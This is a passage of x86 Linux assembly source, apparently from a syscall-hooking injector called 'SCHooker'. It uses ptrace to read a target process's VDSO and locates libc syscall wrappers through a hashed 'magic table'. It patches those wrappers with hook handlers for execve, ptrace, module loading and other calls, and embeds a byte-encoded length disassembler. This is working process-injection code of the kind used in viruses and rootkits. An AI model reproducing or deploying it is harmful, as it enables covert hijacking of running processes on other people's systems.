edx dec edx push edx push 22h push 7h push dword [ebp+mpfr_blk_size] inc edx push edx mov ebx,esp push byte sc_mmap ; maps just one block pop eax int 80h add esp,(6*_push) mov ecx,[ebp+mpfr_blk_list] ; ecx = array of blocks test ecx,ecx ; if ecx = 0, no block has been allocated yet jne .add_blk .first_blk: mov [ebp+mpfr_blk_list],eax ; first block (contains an array of pointers mov ecx,eax ; and a counter) .add_blk: mov ebx,dword[ecx] ; get number of allocated blocks = array idx inc ebx ; skip itself (DWORD) lea edi,[ecx+ebx*4] ; address of last entry: (first_mapent_blk+idx*4) stosd ; add new entry inc dword[ecx] ; update block counter mov dword[esp+_pushad_eax],eax ; return block address .ret: popad ret ; VOID free_blk(VOID) free_blk: ; unmaps the last block of mpfr->blk_size size from the list ; of allocated blocks mpfr->blk_list pushad mov ecx,[ebp+mpfr_blk_list] ; get number of alloc blocks jecxz .ret ; list empty (no blocks) mov ebx,dword[ecx] ; get idx lea esi,[ecx+ebx*4] ; point to the last block dec dword[ecx] mov ecx,dword[ebp+mpfr_blk_size] ; block size mov ebx,dword [esi] ; block address push byte sc_munmap ; unmap pop eax int 80h .ret: popad ret ; DWORD str2ulong(LPSTR *str) ; string to long integer (dword) conversion str2ulong: pushad mov esi,dword[esp+_pparam1] ; ascii string address xor ebx,ebx push byte 8 pop ecx _next: xor eax,eax lodsb _ch_1: cmp al,'a' ; a-f jb _ch_2 sub al,'a'-10 jmp _add _ch_2: cmp al,'A' ; A-F jb _ch_3 sub al,'A'-10 jmp _add _ch_3: cmp al,'9' ; 0-9 ja _end sub al,'0' _add: imul ebx,ebx,byte 16 add ebx,eax loop _next _end: mov [esp+_pushad+_ret],ebx popad ret ; mapent *mpfr_search_by_vaddr(mpfr *mpfr, DWORD vaddr) ; ret (eax) : map entry address or 0 mpfr_search_by_vaddr: pushad mov ebp,dword [esp+_pparam1] ; ebp = *mpfr mov ecx,dword [ebp+mpfr_list] ; ecx = first mapent mov ebx,dword [esp+_pparam2] ; ebx = vaddr .cmp jecxz .ret ; end of list, entry not found cmp ebx,[ecx+mapent_start] jb .next cmp ebx,[ecx+mapent_end] ja .next jmp .ret ; entry found .next: mov ecx,[ecx+mapent_next] jmp .cmp .ret: mov [esp+_pushad_eax],ecx popad ret ; mapent *mpfr_search_by_name(mpfr *mpfr, LPCSTR *name, DWORD size) ; ret (eax) = map entry address or 0 mpfr_search_by_name: pushad mov ebp,dword [esp+_pparam1] ; ebp = *mpfr mov eax,dword [ebp+mpfr_list] ; eax = first mapent mov edx,dword [esp+_pparam2] ; edx = name/id mov ebx,dword [esp+_pparam3] ; ebx = str size .cmp: test eax,eax je .ret ; end of list, entry not found mov edi,dword[eax+mapent_name] ; mapentry name mov esi,edx ; given name mov ecx,ebx ; use size of token, not real name size repe cmpsb je .ret ; entry found mov eax,[eax+mapent_next] jmp .cmp .ret: mov [esp+_pushad_eax],eax popad ret ; mapent *mpfr_search_by_names(mpfr *mpfr, PVOID *names) ; ret (eax) = map entry address or 0 mpfr_search_by_names: pushad mov ebp,dword[esp+_pparam1] ; ebp = *mpfr mov esi,dword[esp+_pparam2] ; esi = name list lodsd ; number of names in the list xchg ecx,eax .next_name: jecxz .ret ; all the names were tried, entry not found lodsd push eax ; size push esi ; name add esi,eax ; push ebp ; *mpfr call mpfr_search_by_name add esp,(3*_push) dec ecx test eax,eax je .next_name .ret: mov dword[esp+_pushad_eax],eax popad ret ; mapent *mpfr_get_vdso(mpfr *mpfr) ; ret (eax) = VDSO map entry address or 0 mpfr_get_vdso: nop ; xxx ; mapent *mpfr_get_stack(mpfr *mpfr) ; ret (eax) = STACK map entry address or 0 mpfr_get_stack: nop ; xxx ;===============================================================================| ; virtual dinamically-linked shared object analyzer ;===============================================================================| VDSOsz equ 4096 ; vdso size: 1xPAGESZ alloc_size equ (VDSOsz*2) ; vdso size + structs ; VDSOHandle struct: VDSOHandle_pid equ 00h ; DWORD : pid which contains vdso VDSOHandle_base equ 04h ; DWORD : vdso base address VDSOHandle_image equ 08h ; PDWORD : vdso image VDSOHandle_sym1 equ 0Ch ; PVDSOSYM : s1: __kernel_vsyscall VDSOHandle_sym2 equ 10h ; PVDSOSYM : s2: __kernel_sigreturn VDSOHandle_sym3 equ 14h ; PVDSOSYM : s3: __kernel_rt_sigreturn VDSOHandleSz equ (6*_dword) ; VDSOHandle struct size ; VDSOSym struct: VDSOSym_start equ 00h ; DWORD : beginning of symbol code VDSOSym_offset equ 04h ; DWORD : symbol code offset VDSOSym_size equ 08h ; DWORD : symbol size VDSOSym_flags equ 0Ch ; DWORD : symbol type & options VDSOSym_code equ 10h ; PDWORD : symbol image VDSOSymSz equ (5*_dword) ; VDSOSym struct size ; vdso symbols: vdso_vsyscall_id equ 000h ; sym1 : id vdso_vsyscall_size equ 020h ; size in memory vdso_vsyscall_off equ 400h ; offset vdso_sigreturn_id equ 001h ; sym2 : id vdso_sigreturn_size equ 020h ; size in memory vdso_sigreturn_off equ 420h ; offset vdso_rtsigreturn_id equ 002h ; sym3 : id vdso_rtsigreturn_size equ 020h ; size in memory vdso_rtsigreturn_off equ 440h ; offset ; VDSOHandle *VDSOLoad(DWORD pid, DWORD base) VDSOLoad: pushad .alloc: xor eax,eax ; map a memory area to cdq ; hold a copy of the VDSO push eax ; and the structures dec edx push edx push byte 22h push byte 7h push alloc_size push eax mov ebx,esp push byte sc_mmap pop eax int 80h add esp,(6*_push) lea ebp,[eax+VDSOsz] ; ebp = *VDSOHandle mov dword[ebp+VDSOHandle_image],eax ; set VDSOHandle_image .get_vdso: mov ecx,dword[esp+_pparam1] ; get pid mov dword[ebp+VDSOHandle_pid],ecx ; set VDSOHandle_pid mov edx,dword[esp+_pparam2] ; get address mov dword[ebp+VDSOHandle_base],edx ; set VDSOHandle_base push byte ptrace_req_peek pop ebx xchg esi,eax push dword(VDSOsz/_dword) pop edi ; dwors to read (counter) .read: push byte sc_ptrace pop eax int 80h ; read vdso page from lodsd ; target process add edx,byte 4 dec edi ; test counter jne .read .get_entry: mov eax,dword[ebp+VDSOHandle_image] ; get entry point: mov eax,dword[eax+elf_hdr_entry] ; it should be both a vaddr cmp eax,[ebp+VDSOHandle_base] ; or a offset to the first jae .get_s1 ; symbol (vsyscall) add eax,dword[ebp+VDSOHandle_base] .get_s1: lea ecx,[ebp+VDSOHandleSz] ; ecx = VDSOSym *vsyscall mov dword[ebp+VDSOHandle_sym1],ecx ; set VDSOHandle_sym1 mov dword[ecx+VDSOSym_offset],vdso_vsyscall_off mov ebx,dword[ebp+VDSOHandle_image] ; ebx = local image of symbol code add ebx,dword[ecx+VDSOSym_offset] ; eax = address of the symbol mov dword[ecx+VDSOSym_size],vdso_vsyscall_size ; in the target process mov dword[ecx+VDSOSym_start],eax ; entry point add eax,dword[ecx+VDSOSym_size] ; next sym mov dword[ecx+VDSOSym_code],ebx add ebx,dword[ecx+VDSOSym_size] ; next sym .get_s2: lea ecx,[ecx+VDSOSymSz] ; ecx = VDSOSym *sigreturn mov dword[ebp+VDSOHandle_sym2],ecx ; set VDSOHandle_sym2 mov dword[ecx+VDSOSym_offset],vdso_sigreturn_off mov dword[ecx+VDSOSym_size],vdso_sigreturn_size mov dword[ecx+VDSOSym_start],eax add eax,dword[ecx+VDSOSym_size] ; next sym mov dword[ecx+VDSOSym_code],ebx add ebx,dword[ecx+VDSOSym_size] ; next sym .get_s3: lea ecx,[ecx+VDSOSymSz] ; ecx = VDSOSym *rtsigreturn mov dword[ebp+VDSOHandle_sym3],ecx ; set VDSOHandle_sym3 mov dword[ecx+VDSOSym_offset],vdso_rtsigreturn_off mov dword[ecx+VDSOSym_size],vdso_rtsigreturn_size mov dword[ecx+VDSOSym_start],eax mov dword[ecx+VDSOSym_code],ebx .ret: mov dword[esp+_pushad_eax],ebp ; ret VDSOHandle popad ret ; VOID VDSOUnload(VDSOHandle *) VDSOUnload: pushad mov ebp,[esp+_pparam1] ; VDSOHandler mov ebx,dword[ebp+VDSOHandle_image] mov ecx,alloc_size push byte sc_munmap ; munmap 2xPAGESZ: pop eax ; 1st PAGE => vdso image int 80h ; 2nd PAGE => structs .ret: popad ret ; VDSOSym *VDSOGetSym(VDSOHandle *, DWORD SymId) VDSOGetSym: pushad mov ebp,[esp+_pparam1] ; VDSOHandle mov ecx,[esp+_pparam2] ; SymId = index mov eax,dword[ebp+ecx*4+(VDSOHandle_sym1)] ; *(VDSOHandler) + IDX*4 + 12: mov dword[esp+_pushad_eax],eax ; reg(base) + reg(index)*SIZE(1/2/4/8) + offset .ret: popad ret ; DWORD VDSOGetRet(VDSOHandle *, DWORD EIP, DWORD ESP) ; EIP & ESP => ptregs ; ret => saved eip VDSOGetRet: pushad call getDelta ; get delta offset mov edx,[esp+_pparam1] ; edx = VDSOHandle mov eax,[esp+_pparam2] ; eax = EIP .check_s1: mov ebx,[edx+VDSOHandle_sym1] ; checks if EIP points to first symbol mov ecx,[ebx+VDSOSym_start] cmp eax,ecx jb .check_s2 add ecx,[ebx+VDSOSym_size] cmp eax,ecx ja .check_s2 .check_s1_vA: lea esi,[ebp+s1_code_vA-gdelta] mov edi,[ebx+VDSOSym_code] mov ecx,[ebx+VDSOSym_size] repe cmpsb ; sysenter version jne .check_s1_vB lea esi,[ebp+s1_instoff_vA-gdelta] jmp .handle_sym .check_s1_vB: lea esi,[ebp+s1_code_vB-gdelta] mov edi,[ebx+VDSOSym_code] mov ecx,[ebx+VDSOSym_size] repe cmpsb ; int version jne .check_s2 lea esi,[ebp+s1_instoff_vB-gdelta] jmp .handle_sym .check_s2: mov ebx,[edx+VDSOHandle_sym2] ; checks if EIP points to second symbol mov ecx,[ebx+VDSOSym_start] cmp eax,ecx jb .check_s3 add ecx,[ebx+VDSOSym_size] cmp eax,ecx ja .check_s3 lea esi,[ebp+s2_code-gdelta] mov edi,[ebx+VDSOSym_code] mov ecx,[ebx+VDSOSym_size] repe cmpsb ;je .handle_sym ; xxx ; (unhandled) jmp .bad_eip .check_s3: mov ebx,[edx+VDSOHandle_sym3] ; checks if EIP points to third symbol mov ecx,[ebx+VDSOSym_start] cmp eax,ecx jb .bad_eip add ecx,[ebx+VDSOSym_size] cmp eax,ecx ja .bad_eip lea esi,[ebp+s3_code-gdelta] mov edi,[ebx+VDSOSym_code] mov ecx,[ebx+VDSOSym_size] repe cmpsb ;je .handle_sym ; xxx ; (unhandled) .bad_eip: xor eax,eax ; the EIP reg does not point to a VDSO segment jmp .ret ; ret eax = 0 => error .handle_sym: mov ecx,[edx+VDSOHandle_pid] mov edx,[esp+_pparam3] ; edx = ESP sub eax,[ebx+VDSOSym_start] ; EIP - start = instr offset xchg ah,al ; ah = off (must be <256) .next: lodsb cmp ah,al ; compare both instr offsets jne .next xor eax,eax ; instr off found: lodsb ; add/sub ESP to point the saved eip add edx,eax .read_sip: push eax ; read the saved eip mov esi,esp ; from the new "ESP" value (edx) push byte ptrace_req_peek pop ebx push byte sc_ptrace pop eax int 80h pop eax .ret: mov dword[esp+_pushad_eax],eax popad ret ; instr/offset tables s1_instoff_vA: ;_______sysenter________: db 1,(1*_push) ; instr: push edx db 2,(2*_push) ; instr: push ebp db 3,(3*_push) ; instr: mov ebp,esp db 16,(3*_push) ; instr: pop ebp db 17,(2*_push) ; instr: pop edx db 18,(1*_push) ; instr: pop ecx s1_instoff_vB: ;_________int___________: db 3,(1*_push) ; instr: ret ; vdso function fingerprints: maybe first bytes are enough ; vsyscall/sysenter: ____________________________________ s1_code_vA: db 051h,052h,055h,089h,0E5h,00Fh,034h,090h db 090h,090h,090h,090h,090h,090h,0EBh,0F3h db 05Dh,05Ah,059h,0C3h,090h,090h,090h,090h db 090h,090h,090h,090h,090h,090h,090h,090h ; vsyscall/int _________________________________________ s1_code_vB: db 0CDh,080h,0C3h,090h,090h,090h,090h,090h db 090h,090h,090h,090h,090h,090h,090h,090h db 090h,090h,090h,090h,090h,090h,090h,090h db 090h,090h,090h,090h,090h,090h,090h,090h ; sigreturn: _________________________________________ s2_code: db 058h,0B8h,077h,000h,000h,000h,0CDh,080h db 090h,090h,090h,090h,090h,090h,090h,090h db 090h,090h,090h,090h,090h,090h,090h,090h db 090h,090h,090h,090h,090h,090h,090h,090h ; rt_sigreturn: _________________________________________ s3_code: db 0B8h,0ADh,000h,000h,000h,0CDh,080h,090h db 090h,090h,090h,090h,090h,090h,090h,090h db 090h,090h,090h,090h,090h,090h,090h,090h db 090h,090h,090h,090h,090h,090h,090h,090h ;===============================================================================| ; Debug routines: open_logfile()/write_logfile()/write_console() ;===============================================================================| _logfile db "logfile.txt",0h _logfile_fd dd 00h _logfile_mode equ 1A4h _logfile_flags equ 42h ; O_RDWR|O_CREAT dbug_msg0 db " --- Code placed at = 0x%x",0dh,0ah,0h dbug_msg1 db " [*] SCHooker started",0dh,0ah,0h dbug_msg2 db " [*] hostcode restored",0dh,0ah,0h dbug_msg3 db " [*] non-exec stack detected", 0dh,0ah,0h dbug_msg4 db " [*] syscall wrappers located",0dh,0ah,0h dbug_msg5 db " [*] syscall wrappers patched",0dh,0ah,0h dbug_msg6 db " [*] tsd installed and tested",0dh,0ah,0h open_logfile: pushad push _logfile_mode pop edx push byte _logfile_flags pop ecx lea ebx,[ebp+_logfile-gdelta] push byte sc_open pop eax int 80h ; open/creat debug file mov dword[ebp+_logfile_fd-gdelta],eax .ret: popad ret close_logfile: pushad mov ebx,dword[ebp+_logfile_fd-gdelta] push sc_close pop eax .ret: popad ret write_logfile: pushad ; ecx = pointer to debug message .test_fd: mov ebx,dword[ebp+_logfile_fd-gdelta] test ebx,ebx js .ret .get_msg_len: mov esi,ecx xor edx,edx .next_byte: inc edx lodsb test al,al jnz .next_byte push byte sc_write pop eax int 80h .ret: popad ret write_console: pushad ; ecx = pointer to debug message .get_msg_len: mov esi,ecx xor edx,edx .next_byte: inc edx lodsb test al,al jnz .next_byte push byte 1 pop ebx push byte sc_write pop eax int 80h .ret: popad ret ;============================================================================| ; Z0mbie's LDE: ADE32 (x) 1999-2002 http://z0mbie.cjb.net ;============================================================================| ; a bit modified by me to suport "int 80" instructions ade_dstruct_size equ 60 ; really 40b ade_dstruct_opcode equ 20 ade_flagtable_size equ 2048 ade_size equ 517+382+116 ; == 1015 ade_init: db 060h,08Bh,07Ch,024h,024h,0FCh,031h,0C0h db 068h,0C0h,000h,000h,000h,068h,030h,003h db 0F3h,0C0h,068h,030h,0F3h,0F3h,030h,068h db 0DBh,003h,0F3h,030h,068h,0F0h,03Fh,0B6h db 06Dh,068h,000h,0F0h,022h,000h,068h,0DEh db 036h,022h,000h,068h,000h,080h,06Dh,044h db 068h,0ADh,035h,000h,000h,068h,0B5h,0D6h db 05Ah,06Bh,068h,0D6h,05Ah,06Bh,0ADh,068h db 040h,0F0h,0FFh,083h,068h,078h,058h,014h db 045h,068h,0FFh,067h,000h,000h,068h,000h db 0F8h,0FFh,0FFh,068h,0FFh,007h,000h,000h db 068h,0BFh,06Eh,0EDh,0FFh,068h,052h,0EAh db 0FFh,0FFh,068h,0FFh,0FFh,0FFh,095h,068h db 07Bh,07Bh,0FFh,0FFh,068h,01Bh,094h,052h db 0EAh,068h,0C3h,05Bh,0B0h,05Bh,068h,0DBh db 036h,050h,0C3h,068h,075h,010h,041h,081h db 068h,094h,064h,059h,096h,068h,001h,000h db 024h,092h,068h,030h,000h,059h,06Eh,068h db 038h,078h,058h,0DBh,068h,095h,012h,085h db 042h,068h,014h,0C5h,050h,021h,068h,0C6h db 028h,01Ch,063h,068h,0E7h,02Ch,0CBh,031h db 068h,0BBh,06Eh,0CEh,039h,068h,080h,06Dh db 0E7h,068h,068h,0ADh,080h,080h,080h,068h db 0B6h,0B5h,020h,0B7h,068h,028h,014h,0B6h db 0DBh,068h,00Ah,028h,002h,000h,068h,052h db 04Ah,049h,014h,068h,094h,052h,092h,048h db 068h,022h,049h,029h,0A5h,068h,050h,016h db 0DBh,056h,068h,0D2h,060h,041h,0A3h,068h db 0EDh,056h,0A9h,0D0h,068h,0B6h,06Dh,0DBh db 0AEh,068h,0DBh,0AEh,06Dh,0DBh,068h,05Ah db 0DBh,0AEh,06Dh,068h,0A5h,005h,0C8h,051h db 068h,051h,05Ah,080h,01Ch,068h,01Ch,0A5h db 005h,0C8h,068h,090h,085h,05Bh,080h,068h db 021h,00Bh,0B7h,00Ah,068h,039h,036h,080h db 042h,068h,000h,039h,0B6h,000h,031h,0C9h db 0B5h,002h,031h,0DBh,0E8h,013h,000h,000h db 000h,009h,0DBh,075h,00Bh,05Bh,05Eh,05Ah db 056h,053h,068h,020h,000h,000h,000h,05Bh db 04Bh,0D1h,0EAh,0C3h,05Dh,031h,0C0h,0E8h db 005h,000h,000h,000h,0ABh,0E2h,0F6h,061h db 0C3h,0FFh,0D5h,072h,063h,0FFh,0D5h,072h db 003h,0B4h,040h,0C3h,0FFh,0D5h,072h,057h db 0FFh,0D5h,072h,046h,0FFh,0D5h,072h,02Ch db 0FFh,0D5h,072h,025h,0FFh,0D5h,072h,014h db 0FFh,0D5h,072h,003h,0B4h,010h,0C3h,0FFh db 0D5h,073h,006h,0B8h,000h,000h,000h,000h db 0C3h,0B4h,0A2h,0C3h,0FFh,0D5h,072h,003h db 0B4h,060h,0C3h,0B8h,000h,0A0h,000h,000h db 0C3h,0B4h,041h,0C3h,0FFh,0D5h,072h,00Fh db 0FFh,0D5h,073h,005h,066h,0B8h,080h,080h db 0C3h,0B8h,000h,081h,002h,000h,0C3h,0B4h db 081h,0C3h,0FFh,0D5h,073h,006h,0B8h,000h db 020h,002h,000h,0C3h,0B4h,0C0h,0C3h,0C3h db 0FFh,0D5h,073h,002h,048h,0C3h,0FFh,0D5h db 00Fh,082h,08Bh,000h,000h,000h,0FFh,0D5h db 073h,00Dh,0FFh,0D5h,072h,006h,0B8h,000h db 001h,002h,000h,0C3h,0B4h,001h,0C3h,0FFh db 0D5h,073h,003h,0B4h,020h,0C3h,0FFh,0D5h db 073h,02Eh,0FFh,0D5h,073h,00Dh,0FFh,0D5h db 072h,006h,0B8h,000h,080h,004h,000h,0C3h db 0B0h,040h,0C3h,0FFh,0D5h,072h,00Ch,0FFh db 0D5h,072h,003h,0B4h,003h,0C3h,00Fh,0BAh db 0F8h,012h,0C3h,0FFh,0D5h,073h,003h,0B0h db 080h,0C3h,0B8h,000h,002h,004h,000h,0C3h db 0FFh,0D5h,072h,01Fh,0FFh,0D5h,073h,00Fh db 0FFh,0D5h,072h,005h,066h,0B8h,008h,080h db 0C3h,0B8h,000h,001h,006h,000h,0C3h,0FFh db 0D5h,072h,005h,00Fh,0BAh,0F8h,010h,0C3h db 0B4h,0C1h,0C3h,0FFh,0D5h,073h,00Dh,0FFh db 0D5h,073h,006h,0B8h,000h,082h,004h,000h db 0C3h,0B0h,020h,0C3h,0FFh,0D5h,073h,003h db 0B0h,010h,0C3h,0B8h,000h,020h,006h,000h db 0C3h,0B4h,080h,0C3h ade_disasm: db 060h,033h,0C0h,033h,0D2h,08Bh,06Ch,024h db 028h,08Dh,07Dh,002h,06Ah,026h,059h,0FCh db 0F3h,0AAh,08Bh,07Ch,024h,02Ch,08Bh,074h db 024h,024h,066h,03Bh,006h,00Fh,084h,07Eh db 000h,000h,000h,066h,083h,03Eh,0FFh,074h db 078h,08Ah,006h,046h,08Bh,01Ch,087h,0F6h db 0C3h,0F8h,075h,071h,00Bh,0D3h,088h,045h db 014h,03Ch,00Fh,00Fh,084h,09Eh,000h,000h db 000h,03Ch,0F7h,00Fh,084h,0B7h,000h,000h db 000h,03Ch,0F6h,00Fh,084h,0A5h,000h,000h db 000h,03Ch,0CDh,00Fh,084h,0B1h,000h,000h db 000h,0F6h,0C6h,040h,00Fh,085h,0B2h,000h db 000h,000h,089h,055h,006h,08Ah,0C6h,066h db 081h,0E2h,007h,007h,0A8h,010h,074h,003h db 002h,055h,000h,0A8h,020h,074h,003h,002h db 075h,001h,00Fh,0B6h,0CAh,089h,04Dh,00Ah db 0E3h,005h,08Dh,07Dh,018h,0F3h,0A4h,08Ah db 0CEh,089h,04Dh,00Eh,0E3h,005h,08Dh,07Dh db 020h,0F3h,0A4h,02Bh,074h,024h,024h,096h db 089h,045h,002h,089h,044h,024h,01Ch,061h db 0C3h,033h,0C0h,0EBh,0F3h,08Ah,0E3h,022h db 0E2h,080h,0E4h,0F8h,075h,0F3h,00Bh,0D3h db 0F6h,0C3h,010h,075h,024h,0F6h,0C3h,020h db 075h,019h,0F6h,0C3h,080h,075h,00Fh,0F6h db 0C3h,040h,075h,005h,0E9h,060h,0FFh,0FFh db 0FFh,088h,045h,012h,0EBh,0F6h,088h,045h db 013h,0EBh,0F1h,080h,075h,001h,006h,0EBh db 0EBh,080h,075h,000h,006h,0EBh,0E5h,08Ah db 006h,046h,088h,045h,015h,00Bh,094h,087h db 000h,004h,000h,000h,083h,0FAh,0FFh,074h db 0B0h,0E9h,063h,0FFh,0FFh,0FFh,0F6h,006h db 038h,075h,0F6h,080h,0CEh,001h,0EBh,0F1h db 0F6h,006h,038h,075h,0ECh,080h,0CEh,020h db 0EBh,0E7h,080h,03Eh,080h,075h,0E2h,080h ; 080h,03Eh,080h = instead of 020h db 0CEh,001h,0EBh,0DDh,08Ah,006h,046h,088h ; 080h 0CEh,001h = instead of 004h db 045h,016h,050h,024h,038h,03Ch,020h,058h db 075h,00Ah,080h,07Dh,014h,0FFh,075h,004h db 00Fh,0BAh,0FAh,012h,08Ah,0E0h,066h,025h db 007h,0C0h,080h,0FCh,0C0h,074h,028h,080h db 07Dh,000h,002h,074h,02Ch,03Ch,004h,075h db 00Bh,080h,0CEh,008h,08Ah,006h,046h,088h db 045h,017h,024h,007h,080h,0FCh,040h,074h db 013h,080h,0FCh,080h,074h,006h,066h,03Dh db 005h,000h,075h,003h,080h,0CAh,004h,0E9h db 0FEh,0FEh,0FFh,0FFh,080h,0CAh,001h,0EBh db 0F6h,066h,03Dh,006h,000h,074h,00Ah,080h db 0FCh,040h,074h,0F0h,080h,0FCh,080h,075h db 0E6h,080h,0CAh,002h,0EBh,0E1h ;===============================================================================| ; syscall sub-handler prototypes ;===============================================================================| ; ; here is a list of interesting syscall to be hooked, change ; it and add your own _schndl_begin_: schndl_lookup: ; find a syscall handler given its number in eax lea edx,[ebp+_getsh_-gdelta] ; jmp first ; begin at first handler _getsh_: pop eax ; eax = handler ret first: _schndl_fork: ; fork syscall handler: .link: mov ebx,sc_fork cmp eax,ebx jne _schndl_read call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*0)-gdelta] %endif ret _schndl_read: ; read syscall handler: .link: mov ebx,sc_read cmp eax,ebx jne _schndl_write call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*1)-gdelta] %endif ret _schndl_write: ; write syscall handler .link: mov ebx,sc_write cmp eax,ebx jne _schndl_open call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*2)-gdelta] %endif ret _schndl_open: ; open syscall handler: .link: mov ebx,sc_open cmp eax,ebx jne _schndl_close call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*3)-gdelta] %endif ret _schndl_close: ; close syscall handler: .link: mov ebx,sc_close cmp eax,ebx jne _schndl_execve call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*4)-gdelta] %endif ret _schndl_execve: ; execve syscall handler: .link: mov ebx,sc_execve cmp eax,ebx jne _schndl_mount call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*5)-gdelta] %endif ret _schndl_mount: ; mount syscall handler: .link: mov ebx,sc_mount cmp eax,ebx jne _schndl_umount call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*6)-gdelta] %endif ret _schndl_umount: ; umount syscall handler: .link: mov ebx,sc_umount cmp eax,ebx jne _schndl_ptrace call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*7)-gdelta] %endif ret _schndl_ptrace: ; ptrace syscall handler: .link: mov ebx,sc_ptrace cmp eax,ebx jne _schndl_mkdir call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*8)-gdelta] %endif ret _schndl_mkdir: ; mkdir syscall handler: .link: mov ebx,sc_mkdir cmp eax,ebx jne _schndl_rmdir call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*9)-gdelta] %endif ret _schndl_rmdir: ; rmdir syscall handler: .link: mov ebx,sc_rmdir cmp eax,ebx jne _schndl_chroot call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*10)-gdelta] %endif ret _schndl_chroot: ; chroot syscall handler: .link: mov ebx,sc_chroot cmp eax,ebx jne _schndl_reboot call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*11)-gdelta] %endif ret _schndl_reboot: ; reboot syscall handler: .link: mov ebx,sc_reboot cmp eax,ebx jne _schndl_mmap call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*12)-gdelta] %endif ret _schndl_mmap: ; mmap syscall handler: .link: mov ebx,sc_mmap cmp eax,ebx jne _schndl_munmap call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*13)-gdelta] %endif ret _schndl_munmap: ; munmap syscall handler: .link: mov ebx,sc_munmap cmp eax,ebx jne _schndl_uname call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*14)-gdelta] %endif ret _schndl_uname: ; uname syscall handler .link: mov ebx,sc_uname cmp eax,ebx jne _schndl_mprotect call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*15)-gdelta] %endif ret _schndl_mprotect: ; mprotect syscall handler .link: mov ebx,sc_mprotect cmp eax,ebx jne _schndl_create_module call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*16)-gdelta] %endif ret _schndl_create_module: ; lkm syscall handler .link: mov ebx,sc_create_module cmp eax,ebx jne _schndl_init_module call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*17)-gdelta] %endif ret _schndl_init_module: ; lkm syscall handler: .link: mov ebx,sc_init_module cmp eax,ebx jne _schndl_delete_module call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*18)-gdelta] %endif ret _schndl_delete_module: ; lkm syscall handler: .link: mov ebx,sc_delete_module cmp eax,ebx jne _schndl_query_module call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*19)-gdelta] %endif ret _schndl_query_module: ; lkm syscall handler: .link: mov ebx,sc_query_module cmp eax,ebx jne last call edx .body: call def_schndl %ifdef DBG inc dword[ebp+(sch_counter+_dword*20)-gdelta] %endif ret last: ud2 times 4 db 0h _schndl_end_: %ifdef DBG sch_counter times 21 dd 0h %endif ;===============================================================================| ; data section: variables,globals,etc ;===============================================================================| ; the magic table _mtbl_begin_: .key dd 0h ; enc/dec key magic_table: dd 015h ; count scw_fork db 002h, 08Bh,0D6h,006h,000h scw_read db 003h, 074h,08Bh,007h,000h scw_write db 004h, 0A5h,090h,07Eh,000h scw_open db 005h, 0beh,066h,007h,000h scw_close db 006h, 095h,036h,06Ah,000h scw_execve db 00Bh, 0C5h,0BAh,0CEh,006h scw_mount db 015h, 054h,06Ch,074h,000h scw_umount db 016h, 054h,06Ch,0C4h,007h scw_ptrace db 01Ah, 095h,087h,07Bh,007h scw_mkdir db 027h, 002h,01Bh,074h,000h scw_rmdir db 028h, 002h,03Bh,079h,000h scw_chroot db 03Dh, 064h,096h,09Fh,006h scw_reboot db 058h, 064h,096h,08Bh,007h scw_mmap db 05Ah, 080h,043h,007h,000h scw_munmap db 05Bh, 080h,053h,04Ch,007h scw_uname db 07Ah, 035h,048h,07Ch,000h scw_mprotect db 07Dh, 0E4h,0ACh,096h,007h scw_create_module db 07Fh, 0C5h,032h,0CEh,000h scw_init_module db 080h, 085h,0ECh,055h,006h scw_delete_module db 081h, 0C5h,072h,007h,001h scw_query_module db 0A7h, 0D5h,073h,0CEh,003h times 5 db 0h ; align pad _mtbl_end_: func_hashtbl: dd 006h ; count f_sprintf db 0D6h,005h,079h,00Ah f_snprintf db 006h,002h,079h,005h f_atoi db 059h,08Bh,006h,000h f_malloc db 053h,033h,038h,007h f_calloc db 053h,033h,098h,006h f_free db 0B5h,0D8h,006h,000h func_vatbl: ; API addresses: va_sprintf dd 0h va_snprintf dd 0h va_atoi dd 0h va_malloc dd 0h va_calloc dd 0h va_free dd 0h ssii_table: db 002h ; count ; entry format: [1b|2b|3b|4-Nb] ; 1b = entry size ; 2b = bytes to compare ; 3b = instruction size ; 4-Nb = instruction ; [int80] .e0: db (.e1-$) db 002h db 002h db 0CDh,080h ; [vsyscall] .e1: db (.e2-$) db 007h db 007h db 065h,0FFh,015h,010h,000h,000h,000h .e2 libcso_map_names: dd 04h ; count dd (.n1-($+_dword)) db "/lib/tls/libc." .n1: dd (.n2-($+_dword)) db "/lib/tls/libc-" .n2: dd (.n3-($+_dword)) db "/lib/libc." .n3: dd (.n4-($+_dword)) db "/lib/libc-" .n4: libcso_lkm_names: dd 01h dd (.n1-($+_dword)) db "/libc." .n1: dev_random db "/dev/random",0h self_maps db "/proc/self/maps",0h pid_maps db "/proc/%d/maps",0h context times (10*_push) db 0h ; eip+pushad+pushfd host_code times 78h db 0h mpfr_struct times (7*_dword) db 0h sosr_struct times (9*_dword) db 0h room_size dd ((fini-starter) + 3048 + (1000h-1)) & ~(1000h-1) stack_padd dd (fini-starter)+100h starter_sz dd (schooker-starter)+((schooker-starter) % 4) maps dd 0h orig_esp dd 0h inj_orig_eip dd 0h inj_orig_esp dd 0h code_address dd 0h orig_traphndl dd 0h orig_segvhndl dd 0h link_map dd 